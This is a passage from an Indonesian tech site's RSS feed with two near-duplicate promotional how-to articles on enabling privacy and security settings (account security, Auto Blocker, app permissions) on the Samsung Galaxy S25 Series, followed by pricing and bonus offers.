		<category><![CDATA[galaxy s25 series]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[privasi]]></category>
		<category><![CDATA[samsung]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=19029</guid>

					<description><![CDATA[Aktifkan sejumlah fitur Galaxy AI untuk memaksimalkan perlindungan data dan keamanan di Samsung Galaxy S25 Series.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Tidak hanya mendorong produktivitas penggunanya, dukungan Galaxy AI yang terdapat pada Galaxy S25 Series juga dirancang untuk memberikan perlindungan maksimal terhadap data dan privasi. </p>



<p>Dengan teknologi pemrosesan AI alias kecerdasan buatan yang lebih fleksibel untuk pengguna, seperti&nbsp;on-cloud,&nbsp;on-device, hingga&nbsp;hybrid, kamu bisa memilih metode pengelolaan data sesuai kebutuhan.</p>



<p>Untuk semakin memperkuat keamanan pada teknologi canggih di smartphone flagship Samsung, ada beberapa langkah penting yang bisa kamu lakukan untuk menjaga perangkat tetap aman.</p>



<p>Mulai dari memperkuat perlindungan akun dan perangkat, membatasi akses pihak ketiga, hingga mengatur izin aplikasi terhadap fitur-fitur di dalamnya. Dengan kombinasi ini, kamu bisa menikmati kecanggihan Galaxy S25 Series tanpa khawatir soal risiko privasi.</p>



<p>“Dengan semakin berkembangnya kemampuan AI, keamanan dan privasi kini menjadi perhatian utama bagi pengguna&nbsp;smartphone.&#8221; ujar Ilham Indrawan, MX Product Marketing Senior Manager Samsung Electronics Indonesia.</p>



<p>Ilham menambahkan bahwa Galaxy S25 Series tidak hanya menawarkan berbagai fitur cangih AI on device dengan pemrosesan fleksibel, tetapi juga dilengkapi dengan fitur yang memungkinkan pengguna untuk memantau keamanan perangkat dan akun mereka secara menyeluruh. </p>



<p>&#8220;Hal ini termasuk pengaturan akses pihak ketiga yang berpotensi mengancam keamanan. Selain itu, Samsung juga menghadirkan fitur Auto Blocker dengan&nbsp;maximum restrictions&nbsp;di One UI 7 untuk memberikan perlindungan ekstra,” tambah Ilham.</p>



<p>Agar semakin aman, simak tips untuk memaksimalkan keamanan dan privasi kamu di Galaxy S25 Series berikut:</p>



<h3 class="wp-block-heading">Pantau dan Kelola Keamanan Akun di Galaxy S25 Series</h3>



<p>Galaxy S25 Series memberikan kemudahan bagi kamu untuk memantau keamanan akun Samsung dan Google secara menyeluruh. Kamu dapat melihat aktivitas terbaru dari akunmu, termasuk riwayat&nbsp;login&nbsp;terakhir, serta kapan dan dari perangkat apa akunmu diakses. </p>



<p>Informasi ini sangat penting untuk memastikan bahwa tidak ada aktivitas mencurigakan atau akses yang tidak sah ke akun kamu. Untuk memeriksa aktivitas akun dan keamanan&nbsp;login, kamu cukup ikuti langkah-langkah ini:</p>



<ul>
<li>Buka menu&nbsp;Settings&nbsp;pada Galaxy S25 Series</li>



<li>Pilih opsi&nbsp;Security and Privacy</li>



<li>Klik&nbsp;Account Security</li>



<li>Pilih akun yang ingin kamu cek</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="489" src="https://nativzen.com/wp-content/uploads/2025/05/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1-1-1024x489.jpg" alt="" class="wp-image-19035" srcset="https://nativzen.com/wp-content/uploads/2025/05/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1-1-1024x489.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/05/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1-1-300x143.jpg 300w, https://nativzen.com/wp-content/uploads/2025/05/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1-1-768x367.jpg 768w, https://nativzen.com/wp-content/uploads/2025/05/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1-1-1536x734.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/05/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1-1-370x177.jpg 370w, https://nativzen.com/wp-content/uploads/2025/05/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1-1-270x129.jpg 270w, https://nativzen.com/wp-content/uploads/2025/05/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1-1-570x272.jpg 570w, https://nativzen.com/wp-content/uploads/2025/05/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1-1-740x353.jpg 740w, https://nativzen.com/wp-content/uploads/2025/05/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1-1.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Melalui fitur ini, kamu bisa langsung mengambil tindakan jika menemukan aktivitas yang tidak dikenali, seperti mengganti kata sandi atau menghapus akses perangkat yang mencurigakan. Selain itu, kamu juga bisa mengatur metode pemulihan akun agar tetap aman saat lupa kata sandi. Berikut langkah-langkahnya:</p>



<ul>
<li>Pastikan berada di halaman&nbsp;Security and Privacy</li>



<li>Klik&nbsp;Account Recovery Methods</li>



<li>Masukkan kata sandi akun jika diminta</li>



<li>Atur metode pemulihan dengan nomor telepon, e-mail, atau pertanyaan keamanan</li>
</ul>



<h3 class="wp-block-heading">Lindungi Perangkat dengan Auto Blocker</h3>



<p>One UI 7 pada Galaxy S25 Series membawa fitur&nbsp;Auto Blocker. Fitur ini bekerja secara otomatis untuk memblokir potensi risiko seperti aplikasi berbahaya,&nbsp;malware&nbsp;dalam pesan, kabel USB tidak aman, hingga pembaruan&nbsp;software&nbsp;yang tidak resmi.</p>



<p>Untuk perlindungan yang lebih maksimal, kamu bisa mengaktifkan&nbsp;maximum restrictions. Mode ini memberikan lapisan keamanan tambahan dengan memblokir lebih banyak akses pihak ketiga yang mencurigakan. </p>



<p>Namun, perlu diingat bahwa pengaturan ini mungkin akan membatasi beberapa fitur tertentu di Galaxy S25 Series. Cara mengaktifkannya juga sangat mudah:</p>



<ul>
<li>Buka menu&nbsp;Settings</li>



<li>Pilih&nbsp;Security and Privacy</li>



<li>Klik Auto Blocker</li>



<li>Aktifkan Auto Blocker</li>



<li>Fitur&nbsp;maximum restrictions&nbsp;juga bisa diaktifkan di halaman yang sama</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="410" src="https://nativzen.com/wp-content/uploads/2025/05/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1-1-1024x410.jpg" alt="" class="wp-image-19033" srcset="https://nativzen.com/wp-content/uploads/2025/05/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1-1-1024x410.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/05/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1-1-300x120.jpg 300w, https://nativzen.com/wp-content/uploads/2025/05/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1-1-768x308.jpg 768w, https://nativzen.com/wp-content/uploads/2025/05/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1-1-1536x615.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/05/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1-1-370x148.jpg 370w, https://nativzen.com/wp-content/uploads/2025/05/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1-1-270x108.jpg 270w, https://nativzen.com/wp-content/uploads/2025/05/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1-1-570x228.jpg 570w, https://nativzen.com/wp-content/uploads/2025/05/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1-1-740x296.jpg 740w, https://nativzen.com/wp-content/uploads/2025/05/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1-1.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Fitur maximum restrictions pada Auto Blocker menawarkan berbagai kemampuan penting, seperti memblokir aplikasi berbahaya melalui App Protection, mencegah akses admin dari dalam aplikasi, dan memutus jaringan 2G yang rentan terhadap serangan.</p>



<p>Tak hanya itu, fitur ini juga mencegah perangkat terhubung otomatis ke Wi-Fi yang tidak aman, memblokir album bersama (shared albums), serta menghapus data lokasi dari foto yang kamu ambil. Semua ini dirancang untuk memberikan lapisan perlindungan ekstra pada perangkat.</p>



<h3 class="wp-block-heading">Periksa Izin Aplikasi untuk Privasi yang Lebih Terjaga</h3>



<p>Untuk menjaga keamanan perangkat, Galaxy S25 Series menghadirkan fitur yang memungkinkan kamu memantau aplikasi dengan akses ke fitur penting seperti kamera, mikrofon, lokasi, kalender, kontak,&nbsp;nearby devices, telepon, SMS, riwayat panggilan, serta foto dan video. </p>



<p>Riwayat penggunaan izin aplikasi dapat dilihat selama 24 jam hingga 7 hari terakhir, yang dapat membantu kamu untuk mendeteksi potensi risiko atau aktivitas yang tidak wajar. Dengan fitur ini, kamu memiliki kontrol penuh atas aplikasi yang terhubung ke Galaxy S25 Series. </p>



<p>Jika ada aplikasi yang memiliki akses tidak relevan, kamu bisa segera menyesuaikan pengaturannya untuk melindungi privasi dan keamanan data. Cara mengaksesnya pun sangat mudah:</p>



<ul>
<li>Pastikan kamu sudah di halaman&nbsp;security and privacy,</li>



<li>Klik&nbsp;permissions used in last 24 hours,</li>



<li>Cek aplikasi mana saja yang punya akses ke Galaxy S25 Series kamu.</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="487" src="https://nativzen.com/wp-content/uploads/2025/05/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1-1024x487.jpg" alt="" class="wp-image-19034" srcset="https://nativzen.com/wp-content/uploads/2025/05/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1-1024x487.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/05/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1-300x143.jpg 300w, https://nativzen.com/wp-content/uploads/2025/05/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1-768x365.jpg 768w, https://nativzen.com/wp-content/uploads/2025/05/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1-1536x730.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/05/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1-370x176.jpg 370w, https://nativzen.com/wp-content/uploads/2025/05/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1-270x128.jpg 270w, https://nativzen.com/wp-content/uploads/2025/05/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1-570x271.jpg 570w, https://nativzen.com/wp-content/uploads/2025/05/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1-740x352.jpg 740w, https://nativzen.com/wp-content/uploads/2025/05/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h3 class="wp-block-heading">Miliki Galaxy S25 Series Sekarang Juga, Smartphone Flagship yang Paling Aman Jaga Privasi Kamu!</h3>



<p>Dengan fitur Auto Blocker, kamu bisa memastikan perangkatmu tetap aman dari ancaman pihak ketiga. Ingin tahu bagaimana teknologi ini dapat melindungi data pribadi dan meningkatkan kenyamananmu? </p>



<p>Dapatkan&nbsp;<a href="https://www.samsung.com/id/smartphones/galaxy-s25-ultra/buy/?cid=id_ow_app_s-store_f1h25_unpacked_pa-s25-ultra-media_article_none_none__;!!BupLon6U!pGHMccgCFLaQYwBKECFH3zWakXkwsPensR79RCDAtrH2d4baOhpY8eLYPmwTXTXn8lxoAsxP5v-1JXspYP7xeNI3pzIl_jw$" target="_blank" rel="noreferrer noopener">Galaxy S25 Ultra</a>,&nbsp;<a href="https://www.samsung.com/id/smartphones/galaxy-s25/buy/?cid=id_ow_app_s-store_f1h25_unpacked_pa-s25-base-media_article_none_none" target="_blank" rel="noreferrer noopener">Galaxy S25+</a>, dan&nbsp;<a href="https://www.samsung.com/id/smartphones/galaxy-s25/buy/?cid=id_ow_app_s-store_f1h25_unpacked_pa-s25-base-media_article_none_none" target="_blank" rel="noreferrer noopener">Galaxy S25</a>&nbsp;sekarang di toko online maupun offline! Dari tanggal 15 Maret hingga 15 April 2025, kamu memiliki kesempatan untuk mendapatkan bonus eksklusif. </p>



<p>Bonus ini mencakup&nbsp;cashback trade-in&nbsp;sebesar Rp 2.000.000, cashback untuk pembelian perangkat&nbsp;wearable&nbsp;hingga Rp 1.500.000, serta&nbsp;cashback&nbsp;dari bank mitra yang bisa mencapai Rp 1.500.000. </p>



<p>Selama periode promosi ini, Samsung juga memberikan diskon hingga 40% untuk solusi Samsung Care+ yang berlaku selama 2 tahun, sehingga kamu dapat merasa lebih tenang saat menggunakan Galaxy S25 Series pilihan kamu. </p>



<p>Beli Galaxy S25 Series sekarang, dan kamu bisa mendapatkan akses gratis ke Google Gemini Advanced selama 6 bulan. Galaxy S25 Ultra tersedia dalam 3 opsi, yaitu 12GB/256GB (Rp 22.999.000), 12GB/512GB (Rp 24.999.000), dan 12GB/1TB (Rp 28.999.000).</p>



<p>Pilihan warna yang tersedia adalah Titanium Silverblue, Titanium Whitesilver, Titanium Gray, dan Titanium black. Lalu, ada juga opsi warna&nbsp;online exclusive, yaitu Titanium Pinkgold, Titanium Jetblack, dan Titanium Jadegreen.</p>



<p>Galaxy S25+ terdiri dari varian 12GB/256GB (Rp 17.999.000) dan 12GB/512GB (Rp 19.999.000). Galaxy S25 tersedia dalam pilihan 12GB/256GB (Rp 14.999.000) dan 12GB/512GB (Rp 16.999.000). </p>



<p>Galaxy S25+ dan Galaxy S25 juga mengusung pilihan warna yang beragam, seperti Navy, Icyblue, Mint, dan Silver Shadow. Terdapat juga tiga warna&nbsp;online exclusive yang bisa kamu pilih, yaitu Blueblack, Coralred, dan Pinkgold.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Tips Memaksimalkan Keamanan dan Privasi di Galaxy S25 Series</title>
		<link>https://nativzen.com/2025/04/10/tips-memaksimalkan-keamanan-dan-privasi-di-galaxy-s25-series/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Thu, 10 Apr 2025 05:18:17 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[galaxy s25 series]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[privasi]]></category>
		<category><![CDATA[samsung]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=18006</guid>

					<description><![CDATA[Pengguna bisa aktifkan sejumlah fitur Galaxy AI untuk memaksimalkan perlindungan data dan keamanan di Samsung Galaxy S25 Series.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Tidak hanya mendorong produktivitas bagi penggunanya, Galaxy AI pada Samsung Galaxy S25 Series juga dirancang untuk memberikan perlindungan maksimal terhadap data dan privasi.</p>



<p>Dengan teknologi pemrosesan kecerdasan buatan alias AI yang lebih fleksibel untuk pengguna, seperti on-cloud, on-device, hingga hybrid, pengguna Galaxy S25 Series bisa memilih metode pengelolaan data sesuai kebutuhan.</p>



<p>Untuk lebih memperkuat keamanan di smartphone flagship tersebut, ada beberapa langkah penting yang bisa dilakukan untuk menjaga perangkat tetap aman, mulai dari memperkuat perlindungan akun dan perangkat, hingga mengatur izin aplikasi terhadap fitur-fitur di dalamnya. </p>



<p>“Dengan semakin berkembangnya kemampuan AI, keamanan dan privasi kini menjadi perhatian utama bagi pengguna smartphone,&#8221; ujar Ilham Indrawan, MX Product Marketing Senior Manager Samsung Electronics Indonesia.</p>



<p>Untuk menjawab kebutuhan tersebut, Ilham menambahkan bahwa Galaxy S25 Series tidak hanya menawarkan berbagai fitur cangih AI on device dengan pemrosesan fleksibel, tetapi juga dilengkapi dengan fitur untuk memantau keamanan perangkat dan akun secara menyeluruh. </p>



<p>&#8220;Hal ini termasuk pengaturan akses pihak ketiga yang berpotensi mengancam keamanan. Selain itu, kami juga menghadirkan fitur Auto Blocker dengan maximum restrictions di One UI 7 untuk memberikan perlindungan ekstra,” tambah ilham.</p>



<p>Agar semakin aman, simak tips untuk memaksimalkan keamanan dan privasi kamu di Galaxy S25 Series berikut:</p>



<h3 class="wp-block-heading"><strong>Pantau dan Kelola Keamanan Akun di Galaxy S25 Series</strong></h3>



<p>Galaxy S25 Series memberikan kemudahan bagi pengguna untuk memantau keamanan akun Samsung dan Google secara menyeluruh. Pengguna dapat melihat aktivitas terbaru dari akunnya, termasuk riwayat login terakhir, serta kapan dan dari perangkat apa akun tersebut diakses.</p>



<p>Informasi ini sangat penting untuk memastikan bahwa tidak ada aktivitas mencurigakan atau akses yang tidak sah ke akun tersebut. Untuk memeriksa aktivitas akun dan keamanan login, pengguna cukup ikuti langkah-langkah ini:</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2025/04/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1024x576.jpg" alt="" class="wp-image-18007" srcset="https://nativzen.com/wp-content/uploads/2025/04/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/04/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2025/04/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2025/04/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-1536x864.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/04/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2025/04/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2025/04/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2025/04/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu-740x416.jpg 740w, https://nativzen.com/wp-content/uploads/2025/04/2.-Langkah-mudah-untuk-cek-keamanan-akun-yang-ada-di-dalam-Galaxy-S25-Series-kamu.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<ul>
<li>Buka menu Settings pada Galaxy S25 Series</li>



<li>Pilih opsi Security and Privacy</li>



<li>Klik Account Security</li>



<li>Pilih akun yang ingin dicek</li>
</ul>



<p>Melalui fitur ini, pengguna bisa langsung mengambil tindakan jika menemukan sejumlah aktivitas yang tidak dikenali, seperti langsung mengganti kata sandi atau menghapus akses perangkat yang mencurigakan. </p>



<p>Selain itu, pengguna juga bisa mengatur metode pemulihan akun agar tetap aman saat lupa kata sandi. Berikut langkah-langkahnya:</p>



<ul>
<li>Pastikan berada di halaman Security and Privacy</li>



<li>Klik Account Recovery Methods</li>



<li>Masukkan kata sandi akun jika diminta</li>



<li>Atur metode pemulihan dengan nomor telepon, email, atau pertanyaan keamanan</li>
</ul>



<h3 class="wp-block-heading"><strong>Lindungi Perangkat dengan Auto Blocker di Galaxy S25 Series</strong></h3>



<p>One UI 7 pada Galaxy S25 Series membawa fitur Auto Blocker yang dapat melindungi perangkat dari berbagai ancaman pihak ketiga. Fitur ini bekerja secara otomatis memblokir potensi risiko seperti aplikasi berbahaya, malware dalam pesan, hingga pembaruan software yang tidak resmi.</p>



<p>Untuk perlindungan yang lebih maksimal, kamu bisa mengaktifkan maximum restrictions. Mode ini memberikan lapisan keamanan tambahan dengan memblokir lebih banyak akses pihak ketiga yang mencurigakan. </p>



<p>Namun, perlu diingat bahwa pengaturan ini mungkin membatasi beberapa fitur tertentu di Galaxy S25 Series. Cara mengaktifkannya sangat mudah:</p>



<ul>
<li>Buka menu Settings</li>



<li>Pilih Security and Privacy</li>



<li>Klik Auto Blocker</li>



<li>Aktifkan Auto Blocker</li>



<li>Fitur maximum restrictions juga bisa diaktifkan di halaman yang sama</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2025/04/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1024x576.jpg" alt="" class="wp-image-18008" srcset="https://nativzen.com/wp-content/uploads/2025/04/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/04/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2025/04/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2025/04/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-1536x864.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/04/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2025/04/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2025/04/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2025/04/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra-740x416.jpg 740w, https://nativzen.com/wp-content/uploads/2025/04/3.-Gunakan-fitur-auto-blocker-di-Galaxy-S25-Series-untuk-keamanan-yang-lebih-ekstra.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Fitur maximum restrictions pada Auto Blocker menawarkan berbagai kemampuan penting, seperti memblokir aplikasi berbahaya melalui <em>App Protection</em>, mencegah akses admin dari dalam aplikasi, dan memutus jaringan 2G yang rentan terhadap serangan. </p>



<p>Fitur ini juga mencegah perangkat terhubung otomatis ke Wi-Fi yang tidak aman, memblokir album bersama (<em>shared albums</em>), serta menghapus data lokasi dari foto yang kamu ambil. Semua ini dirancang untuk memberikan lapisan perlindungan ekstra pada perangkat yang digunakan.</p>



<h3 class="wp-block-heading"><strong>Periksa Izin Aplikasi untuk Privasi yang Lebih Terjaga</strong></h3>



<p>Untuk menjaga keamanan perangkat, Galaxy S25 Series menghadirkan fitur yang memungkinkan pengguna memantau aplikasi dengan akses ke fitur penting seperti kamera, mikrofon, lokasi, kalender, kontak, nearby devices, telepon, SMS, riwayat panggilan, serta foto dan video. </p>



<p>Riwayat penggunaan izin aplikasi dapat dilihat selama 24 jam hingga 7 hari terakhir. Ini membantu pengguna mendeteksi potensi risiko atau aktivitas yang tidak wajar, sekaligus memiliki kontrol penuh atas aplikasi yang terhubung ke perangkat. </p>



<p>Jika ada aplikasi yang memiliki akses tidak relevan, pengguna bisa segera menyesuaikan pengaturannya untuk melindungi privasi dan keamanan data. Cara mengaksesnya pun sangat mudah:</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2025/04/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1024x576.jpg" alt="" class="wp-image-18009" srcset="https://nativzen.com/wp-content/uploads/2025/04/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/04/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2025/04/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2025/04/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-1536x864.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/04/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2025/04/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2025/04/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2025/04/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu-740x416.jpg 740w, https://nativzen.com/wp-content/uploads/2025/04/4.-Atur-akses-aplikasi-yang-ada-di-Galaxy-S25-Series-untuk-menjaga-privasi-kamu.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<ul>
<li>Pastikan kamu sudah di halaman security and privacy,</li>



<li>Klik permissions used in last 24 hours,</li>



<li>Cek aplikasi mana saja yang punya akses ke Galaxy S25 Series.</li>
</ul>



<h3 class="wp-block-heading"><strong>Miliki Galaxy S25 Series Sekarang Juga!</strong></h3>



<p>Dari tanggal 15 Maret hingga 15 April 2025, kamu bisa memiliki kesempatan untuk mendapatkan Galaxy S25 Series dengan bonus eksklusif. Bonus ini mencakup cashback trade-in sebesar Rp 2.000.000, dan cashback untuk pembelian perangkat wearable hingga Rp 1.500.000.</p>



<p>Ada juga cashback dari bank mitra yang bisa mencapai Rp 1.500.000. Selama periode promosi ini, Samsung juga memberikan diskon hingga 40% untuk solusi Samsung Care+ yang berlaku selama 2 tahun</p>



<p>Membeli Galaxy S25 Series sekarang, dan kamu juga bisa mendapatkan akses gratis ke Google Gemini Advanced selama 6 bulan. Ada tiga model Galaxy S25 Series yang ditawarkan, yakni Galaxy S25, Galaxy S25 + dan Galaxy S25 Ultra.</p>



<p>Galaxy S25 tersedia dalam pilihan 12GB/256GB (Rp 14.999.000) dan 12GB/512GB (Rp 16.999.000). Sementara, Galaxy S25+ terdiri dari varian 12GB/256GB (Rp 17.999.000) dan 12GB/512GB (Rp 19.999.000).</p>



<p>Kedua model tersebut mengusung pilihan warna Navy, Icyblue, Mint, dan Silver Shadow. Samsung juga menyediakan tiga warna online exclusive yang bisa kamu pilih, yaitu Blueblack, Coralred, dan Pinkgold.</p>



<p>Model tertinggi, yakni Galaxy S25 Ultra tersedia dalam tiga opsi, yaitu 12GB/256GB (Rp 22.999.000), 12GB/512GB (Rp 24.999.000), dan 12GB/1TB (Rp 28.999.000) dengan pilihan warna Titanium Silverblue, Titanium Whitesilver, Titanium Gray, dan Titanium black. </p>



<p>Sama seperti model Galaxy S25 dan S25+, Samsung juga menyediakan opsi warna online exclusive untuk Galaxy S25 Ultra, yaitu Titanium Pinkgold, Titanium Jetblack, dan Titanium Jadegreen.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ini Rahasia di Balik Inovasi UX, Keamanan, dan AI di Galaxy</title>
		<link>https://nativzen.com/2025/02/11/ini-rahasia-di-balik-inovasi-ux-keamanan-dan-ai-di-galaxy/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 11 Feb 2025 06:53:45 +0000</pubDate>
				<category><![CDATA[Gadget]]></category>
		<category><![CDATA[galaxy ai]]></category>
		<category><![CDATA[galaxy s25 series]]></category>
		<category><![CDATA[inovasi ux]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[samsung]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=16143</guid>

					<description><![CDATA[Dalam pengembangan One UI 7, Samsung menggabungkan riset pasar mendalam dan feedback pengguna, termasuk dari Indonesia.]]></description>
										<content:encoded><![CDATA[
